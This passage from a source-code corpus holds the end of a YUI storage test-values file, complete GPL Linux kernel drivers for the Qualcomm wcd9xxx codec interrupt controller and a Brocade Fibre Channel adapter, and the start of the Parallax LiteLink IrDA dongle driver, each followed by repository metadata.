xmlns=\"http://www.w3.org/1999/xhtml\">Mash Pit is starting now, Chris is talking. We've got a full house of hackers, programmers, thinkers, and open source folks.\ \ The goal today is to somehow make the work people have been doing with Web 2.0 relevant for normal folks.\ \ We're doing introductions and introducing people to the coworking space. Thanks to Chris for setting up Mash Pit.\ \ We should be lazy today, try to reuse as much</div>\ </summary>\ <draft xmlns=\"http://purl.org/atom-blog/ns#\">false</draft>\ </entry>\ </feed>", testNumber = 4, testBoolean = false, testDate = new Date(), testObject = {test: 1234}, testArray = [1, 2, 3], testFunction = function() {return '1234';};
ehazell/AWBA
sites/all/libraries/yui/tests/storage/tests/testvalues.js
JavaScript
gpl-2.0
275,540
/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and * only version 2 as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #include <linux/bitops.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/sched.h> #include <linux/irq.h> #include <linux/mfd/core.h> #include <linux/mfd/wcd9xxx/core-resource.h> #include <linux/mfd/wcd9xxx/wcd9xxx_registers.h> #include <linux/mfd/wcd9xxx/wcd9310_registers.h> #include <linux/delay.h> #include <linux/irqdomain.h> #include <linux/interrupt.h> #include <linux/of.h> #include <linux/of_irq.h> #include <linux/slab.h> #include <linux/ratelimit.h> #include <soc/qcom/pm.h> #define BYTE_BIT_MASK(nr) (1UL << ((nr) % BITS_PER_BYTE)) #define BIT_BYTE(nr) ((nr) / BITS_PER_BYTE) #define WCD9XXX_SYSTEM_RESUME_TIMEOUT_MS 100 #ifdef CONFIG_OF struct wcd9xxx_irq_drv_data { struct irq_domain *domain; int irq; }; #endif static int virq_to_phyirq( struct wcd9xxx_core_resource *wcd9xxx_res, int virq); static int phyirq_to_virq( struct wcd9xxx_core_resource *wcd9xxx_res, int irq); static unsigned int wcd9xxx_irq_get_upstream_irq( struct wcd9xxx_core_resource *wcd9xxx_res); static void wcd9xxx_irq_put_upstream_irq( struct wcd9xxx_core_resource *wcd9xxx_res); static int wcd9xxx_map_irq( struct wcd9xxx_core_resource *wcd9xxx_res, int irq); static void wcd9xxx_irq_lock(struct irq_data *data) { struct wcd9xxx_core_resource *wcd9xxx_res = irq_data_get_irq_chip_data(data); mutex_lock(&wcd9xxx_res->irq_lock); } static void wcd9xxx_irq_sync_unlock(struct irq_data *data) { struct wcd9xxx_core_resource *wcd9xxx_res = irq_data_get_irq_chip_data(data); int i; if ((ARRAY_SIZE(wcd9xxx_res->irq_masks_cur) > WCD9XXX_MAX_IRQ_REGS) || (ARRAY_SIZE(wcd9xxx_res->irq_masks_cache) > WCD9XXX_MAX_IRQ_REGS)) { pr_err("%s: Array Size out of bound\n", __func__); return; } if (!wcd9xxx_res->codec_reg_write) { pr_err("%s: Codec reg write callback function not defined\n", __func__); return; } for (i = 0; i < ARRAY_SIZE(wcd9xxx_res->irq_masks_cur); i++) { /* If there's been a change in the mask write it back * to the hardware. */ if (wcd9xxx_res->irq_masks_cur[i] != wcd9xxx_res->irq_masks_cache[i]) { wcd9xxx_res->irq_masks_cache[i] = wcd9xxx_res->irq_masks_cur[i]; wcd9xxx_res->codec_reg_write(wcd9xxx_res, WCD9XXX_A_INTR_MASK0 + i, wcd9xxx_res->irq_masks_cur[i]); } } mutex_unlock(&wcd9xxx_res->irq_lock); } static void wcd9xxx_irq_enable(struct irq_data *data) { struct wcd9xxx_core_resource *wcd9xxx_res = irq_data_get_irq_chip_data(data); int wcd9xxx_irq = virq_to_phyirq(wcd9xxx_res, data->irq); wcd9xxx_res->irq_masks_cur[BIT_BYTE(wcd9xxx_irq)] &= ~(BYTE_BIT_MASK(wcd9xxx_irq)); } static void wcd9xxx_irq_disable(struct irq_data *data) { struct wcd9xxx_core_resource *wcd9xxx_res = irq_data_get_irq_chip_data(data); int wcd9xxx_irq = virq_to_phyirq(wcd9xxx_res, data->irq); wcd9xxx_res->irq_masks_cur[BIT_BYTE(wcd9xxx_irq)] |= BYTE_BIT_MASK(wcd9xxx_irq); } static void wcd9xxx_irq_mask(struct irq_data *d) { /* do nothing but required as linux calls irq_mask without NULL check */ } static struct irq_chip wcd9xxx_irq_chip = { .name = "wcd9xxx", .irq_bus_lock = wcd9xxx_irq_lock, .irq_bus_sync_unlock = wcd9xxx_irq_sync_unlock, .irq_disable = wcd9xxx_irq_disable, .irq_enable = wcd9xxx_irq_enable, .irq_mask = wcd9xxx_irq_mask, }; bool wcd9xxx_lock_sleep( struct wcd9xxx_core_resource *wcd9xxx_res) { enum wcd9xxx_pm_state os; /* * wcd9xxx_{lock/unlock}_sleep will be called by wcd9xxx_irq_thread * and its subroutines only motly. * but btn0_lpress_fn is not wcd9xxx_irq_thread's subroutine and * It can race with wcd9xxx_irq_thread. * So need to embrace wlock_holders with mutex. * * If system didn't resume, we can simply return false so codec driver's * IRQ handler can return without handling IRQ. * As interrupt line is still active, codec will have another IRQ to * retry shortly. */ mutex_lock(&wcd9xxx_res->pm_lock); if (wcd9xxx_res->wlock_holders++ == 0) { pr_debug("%s: holding wake lock\n", __func__); pm_qos_update_request(&wcd9xxx_res->pm_qos_req, msm_cpuidle_get_deep_idle_latency()); } mutex_unlock(&wcd9xxx_res->pm_lock); if (!wait_event_timeout(wcd9xxx_res->pm_wq, ((os = wcd9xxx_pm_cmpxchg(wcd9xxx_res, WCD9XXX_PM_SLEEPABLE, WCD9XXX_PM_AWAKE)) == WCD9XXX_PM_SLEEPABLE || (os == WCD9XXX_PM_AWAKE)), msecs_to_jiffies( WCD9XXX_SYSTEM_RESUME_TIMEOUT_MS))) { pr_warn("%s: system didn't resume within %dms, s %d, w %d\n", __func__, WCD9XXX_SYSTEM_RESUME_TIMEOUT_MS, wcd9xxx_res->pm_state, wcd9xxx_res->wlock_holders); wcd9xxx_unlock_sleep(wcd9xxx_res); return false; } wake_up_all(&wcd9xxx_res->pm_wq); return true; } EXPORT_SYMBOL(wcd9xxx_lock_sleep); void wcd9xxx_unlock_sleep( struct wcd9xxx_core_resource *wcd9xxx_res) { mutex_lock(&wcd9xxx_res->pm_lock); if (--wcd9xxx_res->wlock_holders == 0) { pr_debug("%s: releasing wake lock pm_state %d -> %d\n", __func__, wcd9xxx_res->pm_state, WCD9XXX_PM_SLEEPABLE); /* * if wcd9xxx_lock_sleep failed, pm_state would be still * WCD9XXX_PM_ASLEEP, don't overwrite */ if (likely(wcd9xxx_res->pm_state == WCD9XXX_PM_AWAKE)) wcd9xxx_res->pm_state = WCD9XXX_PM_SLEEPABLE; pm_qos_update_request(&wcd9xxx_res->pm_qos_req, PM_QOS_DEFAULT_VALUE); } mutex_unlock(&wcd9xxx_res->pm_lock); wake_up_all(&wcd9xxx_res->pm_wq); } EXPORT_SYMBOL(wcd9xxx_unlock_sleep); void wcd9xxx_nested_irq_lock(struct wcd9xxx_core_resource *wcd9xxx_res) { mutex_lock(&wcd9xxx_res->nested_irq_lock); } void wcd9xxx_nested_irq_unlock(struct wcd9xxx_core_resource *wcd9xxx_res) { mutex_unlock(&wcd9xxx_res->nested_irq_lock); } static void wcd9xxx_irq_dispatch(struct wcd9xxx_core_resource *wcd9xxx_res, struct intr_data *irqdata) { int irqbit = irqdata->intr_num; if (!wcd9xxx_res->codec_reg_write) { pr_err("%s: codec read/write callback not defined\n", __func__); return; } if (irqdata->clear_first) { wcd9xxx_nested_irq_lock(wcd9xxx_res); wcd9xxx_res->codec_reg_write(wcd9xxx_res, WCD9XXX_A_INTR_CLEAR0 + BIT_BYTE(irqbit), BYTE_BIT_MASK(irqbit)); if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_I2C) wcd9xxx_res->codec_reg_write(wcd9xxx_res, WCD9XXX_A_INTR_MODE, 0x02); handle_nested_irq(phyirq_to_virq(wcd9xxx_res, irqbit)); wcd9xxx_nested_irq_unlock(wcd9xxx_res); } else { wcd9xxx_nested_irq_lock(wcd9xxx_res); handle_nested_irq(phyirq_to_virq(wcd9xxx_res, irqbit)); wcd9xxx_res->codec_reg_write(wcd9xxx_res, WCD9XXX_A_INTR_CLEAR0 + BIT_BYTE(irqbit), BYTE_BIT_MASK(irqbit)); if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_I2C) wcd9xxx_res->codec_reg_write(wcd9xxx_res, WCD9XXX_A_INTR_MODE, 0x02); wcd9xxx_nested_irq_unlock(wcd9xxx_res); } } static irqreturn_t wcd9xxx_irq_thread(int irq, void *data) { int ret; int i; struct intr_data irqdata; char linebuf[128]; static DEFINE_RATELIMIT_STATE(ratelimit, 5 * HZ, 1); struct wcd9xxx_core_resource *wcd9xxx_res = data; int num_irq_regs = wcd9xxx_res->num_irq_regs; u8 status[num_irq_regs], status1[num_irq_regs]; if (unlikely(wcd9xxx_lock_sleep(wcd9xxx_res) == false)) { dev_err(wcd9xxx_res->dev, "Failed to hold suspend\n"); return IRQ_NONE; } if (!wcd9xxx_res->codec_bulk_read) { dev_err(wcd9xxx_res->dev, "%s: Codec Bulk Register read callback not supplied\n", __func__); goto err_disable_irq; } ret = wcd9xxx_res->codec_bulk_read(wcd9xxx_res, WCD9XXX_A_INTR_STATUS0, num_irq_regs, status); if (ret < 0) { dev_err(wcd9xxx_res->dev, "Failed to read interrupt status: %d\n", ret); goto err_disable_irq; } /* Apply masking */ for (i = 0; i < num_irq_regs; i++) status[i] &= ~wcd9xxx_res->irq_masks_cur[i]; memcpy(status1, status, sizeof(status1)); /* Find out which interrupt was triggered and call that interrupt's * handler function * * Since codec has only one hardware irq line which is shared by * codec's different internal interrupts, so it's possible master irq * handler dispatches multiple nested irq handlers after breaking * order. Dispatch interrupts in the order that is maintained by * the interrupt table. */ for (i = 0; i < wcd9xxx_res->intr_table_size; i++) { irqdata = wcd9xxx_res->intr_table[i]; if (status[BIT_BYTE(irqdata.intr_num)] & BYTE_BIT_MASK(irqdata.intr_num)) { wcd9xxx_irq_dispatch(wcd9xxx_res, &irqdata); status1[BIT_BYTE(irqdata.intr_num)] &= ~BYTE_BIT_MASK(irqdata.intr_num); } } /* * As a failsafe if unhandled irq is found, clear it to prevent * interrupt storm. * Note that we can say there was an unhandled irq only when no irq * handled by nested irq handler since Taiko supports qdsp as irqs' * destination for few irqs. Therefore driver shouldn't clear pending * irqs when few handled while few others not. */ if (unlikely(!memcmp(status, status1, sizeof(status)))) { if (__ratelimit(&ratelimit)) { pr_warn("%s: Unhandled irq found\n", __func__); hex_dump_to_buffer(status, sizeof(status), 16, 1, linebuf, sizeof(linebuf), false); pr_warn("%s: status0 : %s\n", __func__, linebuf); hex_dump_to_buffer(status1, sizeof(status1), 16, 1, linebuf, sizeof(linebuf), false); pr_warn("%s: status1 : %s\n", __func__, linebuf); } memset(status, 0xff, num_irq_regs); ret = wcd9xxx_res->codec_bulk_write(wcd9xxx_res, WCD9XXX_A_INTR_CLEAR0, num_irq_regs, status); if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_I2C) wcd9xxx_res->codec_reg_write(wcd9xxx_res, WCD9XXX_A_INTR_MODE, 0x02); } wcd9xxx_unlock_sleep(wcd9xxx_res); return IRQ_HANDLED; err_disable_irq: dev_err(wcd9xxx_res->dev, "Disable irq %d\n", wcd9xxx_res->irq); disable_irq_wake(wcd9xxx_res->irq); disable_irq_nosync(wcd9xxx_res->irq); wcd9xxx_unlock_sleep(wcd9xxx_res); return IRQ_NONE; } void wcd9xxx_free_irq(struct wcd9xxx_core_resource *wcd9xxx_res, int irq, void *data) { free_irq(phyirq_to_virq(wcd9xxx_res, irq), data); } void wcd9xxx_enable_irq(struct wcd9xxx_core_resource *wcd9xxx_res, int irq) { enable_irq(phyirq_to_virq(wcd9xxx_res, irq)); } void wcd9xxx_disable_irq(struct wcd9xxx_core_resource *wcd9xxx_res, int irq) { disable_irq_nosync(phyirq_to_virq(wcd9xxx_res, irq)); } void wcd9xxx_disable_irq_sync( struct wcd9xxx_core_resource *wcd9xxx_res, int irq) { disable_irq(phyirq_to_virq(wcd9xxx_res, irq)); } static int wcd9xxx_irq_setup_downstream_irq( struct wcd9xxx_core_resource *wcd9xxx_res) { int irq, virq, ret; pr_debug("%s: enter\n", __func__); for (irq = 0; irq < wcd9xxx_res->num_irqs; irq++) { /* Map OF irq */ virq = wcd9xxx_map_irq(wcd9xxx_res, irq); pr_debug("%s: irq %d -> %d\n", __func__, irq, virq); if (virq == NO_IRQ) { pr_err("%s, No interrupt specifier for irq %d\n", __func__, irq); return NO_IRQ; } ret = irq_set_chip_data(virq, wcd9xxx_res); if (ret) { pr_err("%s: Failed to configure irq %d (%d)\n", __func__, irq, ret); return ret; } if (wcd9xxx_res->irq_level_high[irq]) irq_set_chip_and_handler(virq, &wcd9xxx_irq_chip, handle_level_irq); else irq_set_chip_and_handler(virq, &wcd9xxx_irq_chip, handle_edge_irq); irq_set_nested_thread(virq, 1); } pr_debug("%s: leave\n", __func__); return 0; } int wcd9xxx_irq_init(struct wcd9xxx_core_resource *wcd9xxx_res) { int i, ret; u8 irq_level[wcd9xxx_res->num_irq_regs]; mutex_init(&wcd9xxx_res->irq_lock); mutex_init(&wcd9xxx_res->nested_irq_lock); wcd9xxx_res->irq = wcd9xxx_irq_get_upstream_irq(wcd9xxx_res); if (!wcd9xxx_res->irq) { pr_warn("%s: irq driver is not yet initialized\n", __func__); mutex_destroy(&wcd9xxx_res->irq_lock); mutex_destroy(&wcd9xxx_res->nested_irq_lock); return -EPROBE_DEFER; } pr_debug("%s: probed irq %d\n", __func__, wcd9xxx_res->irq); /* Setup downstream IRQs */ ret = wcd9xxx_irq_setup_downstream_irq(wcd9xxx_res); if (ret) { pr_err("%s: Failed to setup downstream IRQ\n", __func__); wcd9xxx_irq_put_upstream_irq(wcd9xxx_res); mutex_destroy(&wcd9xxx_res->irq_lock); mutex_destroy(&wcd9xxx_res->nested_irq_lock); return ret; } /* All other wcd9xxx interrupts are edge triggered */ wcd9xxx_res->irq_level_high[0] = true; /* mask all the interrupts */ memset(irq_level, 0, wcd9xxx_res->num_irq_regs); for (i = 0; i < wcd9xxx_res->num_irqs; i++) { wcd9xxx_res->irq_masks_cur[BIT_BYTE(i)] |= BYTE_BIT_MASK(i); wcd9xxx_res->irq_masks_cache[BIT_BYTE(i)] |= BYTE_BIT_MASK(i); irq_level[BIT_BYTE(i)] |= wcd9xxx_res->irq_level_high[i] << (i % BITS_PER_BYTE); } if (!wcd9xxx_res->codec_reg_write) { dev_err(wcd9xxx_res->dev, "%s: Codec Register write callback not defined\n", __func__); ret = -EINVAL; goto fail_irq_init; } for (i = 0; i < wcd9xxx_res->num_irq_regs; i++) { /* Initialize interrupt mask and level registers */ wcd9xxx_res->codec_reg_write(wcd9xxx_res, WCD9XXX_A_INTR_LEVEL0 + i, irq_level[i]); wcd9xxx_res->codec_reg_write(wcd9xxx_res, WCD9XXX_A_INTR_MASK0 + i, wcd9xxx_res->irq_masks_cur[i]); } ret = request_threaded_irq(wcd9xxx_res->irq, NULL, wcd9xxx_irq_thread, IRQF_TRIGGER_HIGH | IRQF_ONESHOT, "wcd9xxx", wcd9xxx_res); if (ret != 0) dev_err(wcd9xxx_res->dev, "Failed to request IRQ %d: %d\n", wcd9xxx_res->irq, ret); else { ret = enable_irq_wake(wcd9xxx_res->irq); if (ret) dev_err(wcd9xxx_res->dev, "Failed to set wake interrupt on IRQ %d: %d\n", wcd9xxx_res->irq, ret); if (ret) free_irq(wcd9xxx_res->irq, wcd9xxx_res); } if (ret) goto fail_irq_init; return ret; fail_irq_init: dev_err(wcd9xxx_res->dev, "%s: Failed to init wcd9xxx irq\n", __func__); wcd9xxx_irq_put_upstream_irq(wcd9xxx_res); mutex_destroy(&wcd9xxx_res->irq_lock); mutex_destroy(&wcd9xxx_res->nested_irq_lock); return ret; } int wcd9xxx_request_irq(struct wcd9xxx_core_resource *wcd9xxx_res, int irq, irq_handler_t handler, const char *name, void *data) { int virq; virq = phyirq_to_virq(wcd9xxx_res, irq); /* * ARM needs us to explicitly flag the IRQ as valid * and will set them noprobe when we do so. */ #ifdef CONFIG_ARM set_irq_flags(virq, IRQF_VALID); #else set_irq_noprobe(virq); #endif return request_threaded_irq(virq, NULL, handler, IRQF_TRIGGER_RISING, name, data); } void wcd9xxx_irq_exit(struct wcd9xxx_core_resource *wcd9xxx_res) { dev_dbg(wcd9xxx_res->dev, "%s: Cleaning up irq %d\n", __func__, wcd9xxx_res->irq); if (wcd9xxx_res->irq) { disable_irq_wake(wcd9xxx_res->irq); free_irq(wcd9xxx_res->irq, wcd9xxx_res); /* Release parent's of node */ wcd9xxx_irq_put_upstream_irq(wcd9xxx_res); } mutex_destroy(&wcd9xxx_res->irq_lock); mutex_destroy(&wcd9xxx_res->nested_irq_lock); } #ifndef CONFIG_OF static int phyirq_to_virq( struct wcd9xxx_core_resource *wcd9xxx_res, int offset) { return wcd9xxx_res->irq_base + offset; } static int virq_to_phyirq( struct wcd9xxx_core_resource *wcd9xxx_res, int virq) { return virq - wcd9xxx_res->irq_base; } static unsigned int wcd9xxx_irq_get_upstream_irq( struct wcd9xxx_core_resource *wcd9xxx_res) { return wcd9xxx_res->irq; } static void wcd9xxx_irq_put_upstream_irq( struct wcd9xxx_core_resource *wcd9xxx_res) { /* Do nothing */ } static int wcd9xxx_map_irq( struct wcd9xxx_core_resource *wcd9xxx_core_res, int irq) { return phyirq_to_virq(wcd9xxx_core_res, irq); } #else int __init wcd9xxx_irq_of_init(struct device_node *node, struct device_node *parent) { struct wcd9xxx_irq_drv_data *data; pr_debug("%s: node %s, node parent %s\n", __func__, node->name, node->parent->name); data = kzalloc(sizeof(*data), GFP_KERNEL); if (!data) return -ENOMEM; /* * wcd9xxx_intc interrupt controller supports N to N irq mapping with * single cell binding with irq numbers(offsets) only. * Use irq_domain_simple_ops that has irq_domain_simple_map and * irq_domain_xlate_onetwocell. */ data->domain = irq_domain_add_linear(node, WCD9XXX_MAX_NUM_IRQS, &irq_domain_simple_ops, data); if (!data->domain) { kfree(data); return -ENOMEM; } return 0; } static struct wcd9xxx_irq_drv_data * wcd9xxx_get_irq_drv_d(const struct wcd9xxx_core_resource *wcd9xxx_res) { struct device_node *pnode; struct irq_domain *domain; pnode = of_irq_find_parent(wcd9xxx_res->dev->of_node); /* Shouldn't happen */ if (unlikely(!pnode)) return NULL; domain = irq_find_host(pnode); return (struct wcd9xxx_irq_drv_data *)domain->host_data; } static int phyirq_to_virq(struct wcd9xxx_core_resource *wcd9xxx_res, int offset) { struct wcd9xxx_irq_drv_data *data; data = wcd9xxx_get_irq_drv_d(wcd9xxx_res); if (!data) { pr_warn("%s: not registered to interrupt controller\n", __func__); return -EINVAL; } return irq_linear_revmap(data->domain, offset); } static int virq_to_phyirq(struct wcd9xxx_core_resource *wcd9xxx_res, int virq) { struct irq_data *irq_data = irq_get_irq_data(virq); return irq_data->hwirq; } static unsigned int wcd9xxx_irq_get_upstream_irq( struct wcd9xxx_core_resource *wcd9xxx_res) { struct wcd9xxx_irq_drv_data *data; /* Hold parent's of node */ if (!of_node_get(of_irq_find_parent(wcd9xxx_res->dev->of_node))) return -EINVAL; data = wcd9xxx_get_irq_drv_d(wcd9xxx_res); if (!data) { pr_err("%s: interrupt controller is not registerd\n", __func__); return 0; } rmb(); return data->irq; } static void wcd9xxx_irq_put_upstream_irq( struct wcd9xxx_core_resource *wcd9xxx_res) { /* Hold parent's of node */ of_node_put(of_irq_find_parent(wcd9xxx_res->dev->of_node)); } static int wcd9xxx_map_irq(struct wcd9xxx_core_resource *wcd9xxx_res, int irq) { return of_irq_to_resource(wcd9xxx_res->dev->of_node, irq, NULL); } static int wcd9xxx_irq_probe(struct platform_device *pdev) { int irq; struct irq_domain *domain; struct wcd9xxx_irq_drv_data *data; int ret = -EINVAL; irq = platform_get_irq_byname(pdev, "cdc-int"); if (irq < 0) { dev_err(&pdev->dev, "%s: Couldn't find cdc-int node(%d)\n", __func__, irq); return -EINVAL; } else { dev_dbg(&pdev->dev, "%s: virq = %d\n", __func__, irq); domain = irq_find_host(pdev->dev.of_node); data = (struct wcd9xxx_irq_drv_data *)domain->host_data; data->irq = irq; wmb(); ret = 0; } return ret; } static int wcd9xxx_irq_remove(struct platform_device *pdev) { struct irq_domain *domain; struct wcd9xxx_irq_drv_data *data; domain = irq_find_host(pdev->dev.of_node); data = (struct wcd9xxx_irq_drv_data *)domain->host_data; data->irq = 0; wmb(); return 0; } static const struct of_device_id of_match[] = { { .compatible = "qcom,wcd9xxx-irq" }, { } }; static struct platform_driver wcd9xxx_irq_driver = { .probe = wcd9xxx_irq_probe, .remove = wcd9xxx_irq_remove, .driver = { .name = "wcd9xxx_intc", .owner = THIS_MODULE, .of_match_table = of_match_ptr(of_match), }, }; static int wcd9xxx_irq_drv_init(void) { return platform_driver_register(&wcd9xxx_irq_driver); } subsys_initcall(wcd9xxx_irq_drv_init); static void wcd9xxx_irq_drv_exit(void) { platform_driver_unregister(&wcd9xxx_irq_driver); } module_exit(wcd9xxx_irq_drv_exit); #endif /* CONFIG_OF */
SimpleAOSP-Kernel/kernel_shamu
drivers/mfd/wcd9xxx-irq.c
C
gpl-2.0
19,712
/* * Copyright (c) 2005-2009 Brocade Communications Systems, Inc. * All rights reserved * www.brocade.com * * Linux driver for Brocade Fibre Channel Host Bus Adapter. * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License (GPL) Version 2 as * published by the Free Software Foundation * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. */ #include <bfa_priv.h> #include <bfi/bfi_cbreg.h> void bfa_hwcb_reginit(struct bfa_s *bfa) { struct bfa_iocfc_regs_s *bfa_regs = &bfa->iocfc.bfa_regs; bfa_os_addr_t kva = bfa_ioc_bar0(&bfa->ioc); int i, q, fn = bfa_ioc_pcifn(&bfa->ioc); if (fn == 0) { bfa_regs->intr_status = (kva + HOSTFN0_INT_STATUS); bfa_regs->intr_mask = (kva + HOSTFN0_INT_MSK); } else { bfa_regs->intr_status = (kva + HOSTFN1_INT_STATUS); bfa_regs->intr_mask = (kva + HOSTFN1_INT_MSK); } for (i = 0; i < BFI_IOC_MAX_CQS; i++) { /* * CPE registers */ q = CPE_Q_NUM(fn, i); bfa_regs->cpe_q_pi[i] = (kva + CPE_Q_PI(q)); bfa_regs->cpe_q_ci[i] = (kva + CPE_Q_CI(q)); bfa_regs->cpe_q_depth[i] = (kva + CPE_Q_DEPTH(q)); /* * RME registers */ q = CPE_Q_NUM(fn, i); bfa_regs->rme_q_pi[i] = (kva + RME_Q_PI(q)); bfa_regs->rme_q_ci[i] = (kva + RME_Q_CI(q)); bfa_regs->rme_q_depth[i] = (kva + RME_Q_DEPTH(q)); } } void bfa_hwcb_rspq_ack(struct bfa_s *bfa, int rspq) { } static void bfa_hwcb_rspq_ack_msix(struct bfa_s *bfa, int rspq) { bfa_reg_write(bfa->iocfc.bfa_regs.intr_status, __HFN_INT_RME_Q0 << RME_Q_NUM(bfa_ioc_pcifn(&bfa->ioc), rspq)); } void bfa_hwcb_msix_getvecs(struct bfa_s *bfa, u32 *msix_vecs_bmap, u32 *num_vecs, u32 *max_vec_bit) { #define __HFN_NUMINTS 13 if (bfa_ioc_pcifn(&bfa->ioc) == 0) { *msix_vecs_bmap = (__HFN_INT_CPE_Q0 | __HFN_INT_CPE_Q1 | __HFN_INT_CPE_Q2 | __HFN_INT_CPE_Q3 | __HFN_INT_RME_Q0 | __HFN_INT_RME_Q1 | __HFN_INT_RME_Q2 | __HFN_INT_RME_Q3 | __HFN_INT_MBOX_LPU0); *max_vec_bit = __HFN_INT_MBOX_LPU0; } else { *msix_vecs_bmap = (__HFN_INT_CPE_Q4 | __HFN_INT_CPE_Q5 | __HFN_INT_CPE_Q6 | __HFN_INT_CPE_Q7 | __HFN_INT_RME_Q4 | __HFN_INT_RME_Q5 | __HFN_INT_RME_Q6 | __HFN_INT_RME_Q7 | __HFN_INT_MBOX_LPU1); *max_vec_bit = __HFN_INT_MBOX_LPU1; } *msix_vecs_bmap |= (__HFN_INT_ERR_EMC | __HFN_INT_ERR_LPU0 | __HFN_INT_ERR_LPU1 | __HFN_INT_ERR_PSS); *num_vecs = __HFN_NUMINTS; } /** * No special setup required for crossbow -- vector assignments are implicit. */ void bfa_hwcb_msix_init(struct bfa_s *bfa, int nvecs) { int i; bfa_assert((nvecs == 1) || (nvecs == __HFN_NUMINTS)); bfa->msix.nvecs = nvecs; if (nvecs == 1) { for (i = 0; i < BFA_MSIX_CB_MAX; i++) bfa->msix.handler[i] = bfa_msix_all; return; } for (i = BFA_MSIX_CPE_Q0; i <= BFA_MSIX_CPE_Q7; i++) bfa->msix.handler[i] = bfa_msix_reqq; for (i = BFA_MSIX_RME_Q0; i <= BFA_MSIX_RME_Q7; i++) bfa->msix.handler[i] = bfa_msix_rspq; for (; i < BFA_MSIX_CB_MAX; i++) bfa->msix.handler[i] = bfa_msix_lpu_err; } /** * Crossbow -- dummy, interrupts are masked */ void bfa_hwcb_msix_install(struct bfa_s *bfa) { } void bfa_hwcb_msix_uninstall(struct bfa_s *bfa) { } /** * No special enable/disable -- vector assignments are implicit. */ void bfa_hwcb_isr_mode_set(struct bfa_s *bfa, bfa_boolean_t msix) { bfa->iocfc.hwif.hw_rspq_ack = bfa_hwcb_rspq_ack_msix; }
CyanogenMod/htc-kernel-msm7x30
drivers/scsi/bfa/bfa_hw_cb.c
C
gpl-2.0
3,623
/********************************************************************* * * Filename: litelink.c * Version: 1.1 * Description: Driver for the Parallax LiteLink dongle * Status: Stable * Author: Dag Brattli <dagb@cs.uit.no> * Created at: Fri May 7 12:50:33 1999 * Modified at: Fri Dec 17 09:14:23 1999 * Modified by: Dag Brattli <dagb@cs.uit.no> * * Copyright (c) 1999 Dag Brattli, All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, see <http://www.gnu.org/licenses/>. * ********************************************************************/ /* * Modified at: Thu Jan 15 2003 * Modified by: Eugene Crosser <crosser@average.org> * * Convert to "new" IRDA infrastructure for kernel 2.6 */ #include <linux/module.h> #include <linux/delay.h> #include <linux/init.h> #include <net/irda/irda.h> #include "sir-dev.h" #define MIN_DELAY 25 /* 15 us, but wait a little more to be sure */ #define MAX_DELAY 10000 /* 1 ms */ static int litelink_open(struct sir_dev *dev); static int litelink_close(struct sir_dev *dev); static int litelink_change_speed(struct sir_dev *dev, unsigned speed); static int litelink_reset(struct sir_dev *dev); /* These are the baudrates supported - 9600 must be last one! */ static unsigned baud_rates[] = { 115200, 57600, 38400, 19200, 9600 }; static struct dongle_driver litelink = { .owner = THIS_MODULE, .driver_name = "Parallax LiteLink", .type = IRDA_LITELINK_DONGLE, .open = litelink_open, .close = litelink_close, .reset = litelink_reset, .set_speed = litelink_change_speed, }; static int __init litelink_sir_init(void) { return irda_register_dongle(&litelink); } static void __exit litelink_sir_cleanup(void) { irda_unregister_dongle(&litelink); } static int litelink_open(struct sir_dev *dev) { struct qos_info *qos = &dev->qos; IRDA_DEBUG(2, "%s()\n", __func__); /* Power up dongle */ sirdev_set_dtr_rts(dev, TRUE, TRUE); /* Set the speeds we can accept */ qos->baud_rate.bits &= IR_115200|IR_57600|IR_38400|IR_19200|IR_9600; qos->min_turn_time.bits = 0x7f; /* Needs 0.01 ms */ irda_qos_bits_to_value(qos); /* irda thread waits 50 msec for power settling */ return 0; } static int litelink_close(struct sir_dev *dev) { IRDA_DEBUG(2, "%s()\n", __func__); /* Power off dongle */ sirdev_set_dtr_rts(dev, FALSE, FALSE); return 0; } /* * Function litelink_change_speed (task) * * Change speed of the Litelink dongle. To cycle through the available * baud rates, pulse RTS low for a few ms. */ static int litelink_change_speed(struct sir_dev *dev, unsigned speed) { int i; IRDA_DEBUG(2, "%s()\n", __func__); /* dongle already reset by irda-thread - current speed (dongle and * port) is the default speed (115200 for litelink!) */ /* Cycle through avaiable baudrates until we reach the correct one */ for (i = 0; baud_rates[i] != speed; i++) { /* end-of-list reached due to invalid speed request */ if (baud_rates[i] == 9600) break; /* Set DTR, clear RTS */ sirdev_set_dtr_rts(dev, FALSE, TRUE); /* Sleep a minimum of 15 us */ udelay(MIN_DELAY); /* Set DTR, Set RTS */ sirdev_set_dtr_rts(dev, TRUE, TRUE); /* Sleep a minimum of 15 us */ udelay(MIN_DELAY); } dev->speed = baud_rates[i]; /* invalid baudrate should not happen - but if, we return -EINVAL and * the dongle configured for 9600 so the stack has a chance to recover */ return (dev->speed == speed) ? 0 : -EINVAL; } /* * Function litelink_reset (task) * * Reset the Litelink type dongle. * */ static int litelink_reset(struct sir_dev *dev) { IRDA_DEBUG(2, "%s()\n", __func__); /* probably the power-up can be dropped here, but with only * 15 usec delay it's not worth the risk unless somebody with * the hardware confirms it doesn't break anything... */ /* Power on dongle */ sirdev_set_dtr_rts(dev, TRUE, TRUE); /* Sleep a minimum of 15 us */ udelay(MIN_DELAY); /* Clear RTS to reset dongle */ sirdev_set_dtr_rts(dev, TRUE, FALSE); /* Sleep a minimum of 15 us */ udelay(MIN_DELAY); /* Go back to normal mode */ sirdev_set_dtr_rts(dev, TRUE, 